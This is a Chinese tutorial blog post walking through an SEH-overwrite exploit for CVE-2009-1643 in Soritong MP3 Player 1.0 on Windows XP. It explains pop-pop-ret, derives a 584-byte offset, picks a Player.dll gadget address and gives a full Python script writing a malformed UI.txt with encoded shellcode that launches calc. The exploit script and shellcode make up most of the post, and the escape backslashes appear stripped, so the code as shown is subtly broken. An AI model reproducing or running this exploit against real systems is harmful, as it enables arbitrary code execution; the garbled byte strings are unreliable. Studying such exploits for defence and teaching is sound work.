zoukankan      html  css  js  c++  java
  • CVE:2009-1643--SEH Exploit实战

    一、CVE:2009-1643漏洞说明

    存在漏洞的程序为Soritong Mp3 Player 1.0,使用畸形的.m3u或是UI.TXT文件可以引发栈溢出,使用SEH攻击可以成功对漏洞进行利用。

    exploit-db连接:https://www.exploit-db.com/exploits/9560/

    二、环境与工具

    1. 环境:windows xp sp3
    2. 工具:ImmunityDebugger+ python

    三、SEH Exploit 简要介绍

    本文不打算对SEH进行详细的介绍,这里只是简要说明一下SEH exploit的原理。

    SEH Exploit的核心思想

    SEH Exploit的核心思想在于使用某种方法修改栈中存储的SEH,然后触发异常,系统根据栈中的SEH结构处理异常时,会去执行SE Handler指向的函数,经过精心布置的SEH最终将控制权交给shellcode。

    SEH在栈中的存储


    image


    pop pop ret技术

    我们可以利用栈溢出或是堆溢出去修改SEH,那么我们如何修改SEH才能将控制权交给shellcode呢?
    经典的Jmp esp方法利用了esp寄存器对于栈中特定位置的稳定的指向性,为exploit稳定性提供了有效保障。利用相同的思路,如果异常发生时,有某个寄存器指向可以被控制的地址,那么理论上我们也可以利用jmp reg的方法跳转到shellcode,但是,在windows xp sp1后,微软新增了XOR机制,该机制会在异常触发后,将所有寄存器清零,直接导致jmp reg方法的失效。
    经典的解决方案是pop pop ret技术,异常发生时操作系统会call SE handler,SE handler的参数依次为pExcept,pFrame,pContext,pDispatch,其中第二个参数pFrame指向栈中的SEH,cpu进入SE handler时的栈布局如图:



    pop pop ret原理在于,第一次pop时弹出ret address,第二次pop时弹出pExcept,最后ret时会使cpu跳转到pFrame的地址去执行,也就是将控制权交到了next SEH域,而next SEH的内容是可控的,只需要一条short jmp跳转指令即可跳转到shellcode去执行。
    下面这张图很好的描述了这个过程:


    image
    典型的SEH exploit payload如下图:



    四、漏洞初探

    首先使用python脚本生成畸形的UI.txt文件


        path ="C:Program FilesSoriTongSkinDefaultUI.txt"
        buffer ="x41"*5000
        fp = open(path,"w")
        fp.write(buffer)
        fp.close()

    使用调试器加载SoriTong.exe,在0x422E33处触发异常,设置断点,重新运行,断在0x422E33进行观察:



    简单分析一下代码:这里是一个循环,功能是将ESI寄存器所指向的字符串复制到栈中的以0x12FB1C为首的缓冲区中,复制结束的标志是遇到字符0x0D、0x0A、0x00,字符串中的内容就是UI.TXT中的内容,如果其中没有标志结束的字符,那么将永远复制下去,直到复制到地址0x130000触发异常,这个地址位于只读的段空间。

    再观察一下SEH链,最近的SEH位于0x12FD64,这就是我们的覆盖目标。


    五、payload组织

    根据以上的分析,组织的payload如下

    说明:

    • padding buffer的长度=0X12FD64 - 0X12FB1C = 0X248 = 584
    • next SEH域:short jmp的opcode为 xEB,06指明跳到下一条指令地址+6的位置执行,两个x90和4字节地址
    • 最后的junk buffer是为了触发异常

    六、查找pop pop ret

    一切就绪,就差pop pop ret的地址了,使用immunity debug的search插件可以轻松做到:

    !search pop r32
    pop r32
    ret

    查找结果有很多,节选部分,为了保证payload的稳定性,从SoriTong的Player.dll中选取一个,选的时候要注意bad char:00、09、0d、0a,最终选取0x10010BF2



    七、生成最终的payload


     1     #!/usr/bin/python
     2     path ="C:Program FilesSoriTongSkinDefaultUI.txt"
     3     buffer ="x41"*584
     4     next_seh ="xEBx06x90x90"
     5     se_handler ="xF2x0Bx01x10"
     6     junk ="x90"*1000
     7     shellcode =("xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
     8     "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
     9     "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
    10     "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
    11     "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
    12     "x42x30x42x50x42x30x4bx38x45x54x4ex33x4bx58x4ex37"
    13     "x45x50x4ax47x41x30x4fx4ex4bx38x4fx44x4ax41x4bx48"
    14     "x4fx35x42x32x41x50x4bx4ex49x34x4bx38x46x43x4bx48"
    15     "x41x30x50x4ex41x43x42x4cx49x39x4ex4ax46x48x42x4c"
    16     "x46x37x47x50x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e"
    17     "x46x4fx4bx43x46x35x46x42x46x30x45x47x45x4ex4bx48"
    18     "x4fx35x46x42x41x50x4bx4ex48x46x4bx58x4ex30x4bx54"
    19     "x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex31x4bx48"
    20     "x41x30x4bx4ex49x38x4ex45x46x52x46x30x43x4cx41x43"
    21     "x42x4cx46x46x4bx48x42x54x42x53x45x38x42x4cx4ax57"
    22     "x4ex30x4bx48x42x54x4ex30x4bx48x42x37x4ex51x4dx4a"
    23     "x4bx58x4ax56x4ax50x4bx4ex49x30x4bx38x42x38x42x4b"
    24     "x42x50x42x30x42x50x4bx58x4ax46x4ex43x4fx35x41x53"
    25     "x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37"
    26     "x42x35x4ax46x42x4fx4cx48x46x50x4fx45x4ax46x4ax49"
    27     "x50x4fx4cx58x50x30x47x45x4fx4fx47x4ex43x36x41x46"
    28     "x4ex36x43x46x42x50x5a")
    29     buffer += next_seh + se_handler + shellcode + junk
    30     fp = open(path,"w")
    31     fp.write(buffer)
    32     fp.close()

    八、shellcode成功执行

    使用调试器打开SoriTong,出现异常时,可以观察到SEH被预期数据覆盖



    继续运行程序,会弹出计算器







  • 相关阅读:
    强大的vim配置,让编程更随意
    如何给ActiveX控件制作有效数字签名
    自动生成MAKEFILE
    .so file not recongnized和不能打开动态库
    验证IP地址格式是否正确的js函数
    innerHTML中onclick()无法执行的解决
    Django教程
    第一节:简单的请求(Requests)和响应(Responses)
    Vmware vsphere webservice sdk 连接打开慢的问题
    Delphi 简单的软件注册Demo
  • 原文地址:https://www.cnblogs.com/Wrong-Side/p/4456268.html
Copyright © 2011-2022 走看看